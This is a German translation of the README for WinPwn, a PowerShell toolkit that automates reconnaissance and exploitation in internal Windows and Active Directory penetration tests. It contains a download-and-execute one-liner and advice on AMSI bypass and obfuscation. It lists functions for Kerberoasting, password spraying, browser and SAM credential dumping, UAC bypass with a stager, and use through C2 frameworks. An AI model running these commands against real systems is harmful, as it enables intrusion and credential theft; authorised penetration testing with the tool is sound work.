Automatisierung für interne Windows-Penetrationstests / AD-Security
In der Vergangenheit hatte ich bei vielen internen Penetrationstests Probleme mit den vorhandenen Powershell-Recon-/Exploitation-Skripten aufgrund fehlender Proxy-Unterstützung. Außerdem habe ich oft die gleichen Skripte nacheinander ausgeführt, um Informationen über das aktuelle System und/oder die Domäne zu erhalten. Um möglichst viele interne Penetrationstest-Prozesse (Reconnaissance sowie Exploitation) zu automatisieren und wegen des Proxy-Problems habe ich mein eigenes Skript mit automatischer Proxy-Erkennung und -Integration geschrieben. Das Skript basiert größtenteils auf bekannten großen anderen Offensive-Security-Powershell-Projekten.
Jegliche Vorschläge, Feedback, Pull Requests und Kommentare sind willkommen!
Importieren Sie die Module einfach mit:
Import-Module .\WinPwn.ps1 oder
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1')
Um AMSI zu umgehen, verwenden Sie eine der vorhandenen Bypass-Techniken, finden Sie den AMSI Trigger und ändern Sie ihn manuell in der Bypass-Funktion oder kodieren Sie den Trigger-String. Alternativ können Sie das gesamte Skript verschleiern.
Wenn Sie auf einem Windows-System ohne Internetzugang festsitzen – kein Problem, verwenden Sie einfach Offline_Winpwn.ps1, die wichtigsten Skripte und ausführbaren Dateien sind enthalten.
Nach dem Import verfügbare Funktionen:
WinPwn -> Menü zur Auswahl von Angriffen:
Inveigh -> Führt Inveigh in einem neuen Konsolenfenster aus, SMB-Relay-Angriffe mit integriertem Session-Management (Invoke-TheHash)SessionGopher -> Führt Sessiongopher aus und fragt nach ParameternKittielocal ->Localreconmodules ->Domainreconmodules ->Privescmoduleskernelexploits ->UACBypass ->SYSTEMShell ->Shareenumeration -> Invoke-Filefinder und Invoke-Sharefinder (Powerview / Powersploit)Domainshares -> Snaffler oder Passhunt-Suche über alle DomänensystemeGroupsearch -> Get-DomainGPOUserLocalGroupMapping - Systeme finden, auf die Sie über Gruppenrichtlinien-Mapping Admin- oder RDP-Zugriff haben (Powerview / Powersploit)Kerberoasting -> Führt Invoke-Kerberoast in einem neuen Fenster aus und speichert die Hashes zum späteren KnackenPowerSQL -> SQL-Server-Erkennung, Zugriff mit aktuellem Benutzer prüfen, Audit auf Standard-Anmeldedaten + UNCPath-Injection-AngriffeSharphound -> Bloodhound 3.0-BerichtAdidnsmenu -> Active Directory-integrierte DNS-Knoten erstellen oder entfernenMS17-10 -> Aktive Windows-Server in der Domäne oder alle Systeme auf MS17-10 (Eternalblue)-Schwachstelle scannenSharpcradle -> C#-Dateien von einem entfernten Webserver in den RAM ladenDomainPassSpray -> DomainPasswordSpray-Angriffe, ein Passwort für alle DomänenbenutzerBluekeep -> Bluekeep-Scanner für DomänensystemeOhne Parameter können die meisten Funktionen nur von einer interaktiven Shell aus verwendet werden. Daher habe ich die Parameter -noninteractive und -consoleoutput hinzugefügt, um das Skript von einem asynchronen C2-Framework wie Empire, Covenant, Cobalt Strike oder anderen nutzbar zu machen.
Zusätzlich wurde der Parameter -repo hinzugefügt, um WinPwn mit allen Funktionen aus einem lokalen Repository zu verwenden. Sie können wie folgt verwendet werden:
Verwendung:
-noninteractive -> Keine Fragen für Funktionen, sodass sie mit vordefinierten oder benutzerdefinierten Parametern ausgeführt werden
-consoleoutput -> Die Loot-/Berichtsordner werden nicht erstellt. Jede Funktion gibt die Ausgabe auf der Konsole aus, sodass Sie alles in den Agent-Protokollen Ihres C2-Frameworks einsehen können Beispiele:
WinPwn -noninteractive -consoleoutput -DomainRecon -> Dies gibt jedes einzelne Domänen-Recon-Skript und jede Funktion aus und wird Ihnen wahrscheinlich sehr viele Ausgaben liefern
WinPwn -noninteractive -consoleoutput -Localrecon -> Dies sammelt so viele Informationen wie möglich über das lokale System
Generalrecon -noninteractive -> Führt grundlegende lokale Recon-Funktionen aus und speichert die Ausgabe in den entsprechenden Ordnern
UACBypass -noninteractive -command "C:\temp\stager.exe" -technique ccmstp -> Führt einen Stager in einem Prozess mit hoher Integrität aus einer Sitzung mit niedrigen Berechtigungen aus
Kittielocal -noninteractive -consoleoutput -browsercredentials -> Liest Browser-Anmeldedaten über SharpWeb aus und gibt die Ausgabe auf der Konsole aus
Kittielocal -noninteractive -browsercredentials -> Liest NTLM-Hashes aus der SAM-Datei aus und speichert die Ausgabe in einer Datei
WinPwn -PowerSharpPack -consoleoutput -noninteractive -> Führt Seatbelt, PowerUp, Watson und weitere C#-Binärdateien im Speicher aus
Dotnetsearch -consoleoutput -noninteractive -> Durchsucht C:\Program Files\ und C:\Program Files (x86)\ nach .NET-Assemblys
WinPwn -repo http://192.168.1.10:8000/WinPwn_Repo -> Verwendet einen lokalen Webserver als Offline-Repository, um WinPwn ohne Internetzugang zu nutzen
Get_WinPwn_Repo.sh:
Verwendung: ./Get_WinPwn_Repo.sh {Option}
Beispiel: ./Get_WinPwn_Repo.sh --install
Optionen: --install Repository herunterladen und nach ./WinPwn_Repo/ verschieben --remove Repository ./WinPwn_Repo/ entfernen --reinstall Repository entfernen und ein neues nach ./WinPwn_Repo/ herunterladen --start-server Einen Python-HTTP-Server auf Port 8000 starten --help Diese Hilfe anzeigen
Die Verwendung von WinPwn zum Angriff auf Ziele ohne vorherige gegenseitige Zustimmung ist illegal. Es liegt in der Verantwortung des Endbenutzers, alle geltenden lokalen, staatlichen und bundesstaatlichen Gesetze einzuhalten. Die Entwickler übernehmen keine Haftung und sind nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Programm verursacht werden. Nur für Bildungszwecke verwenden.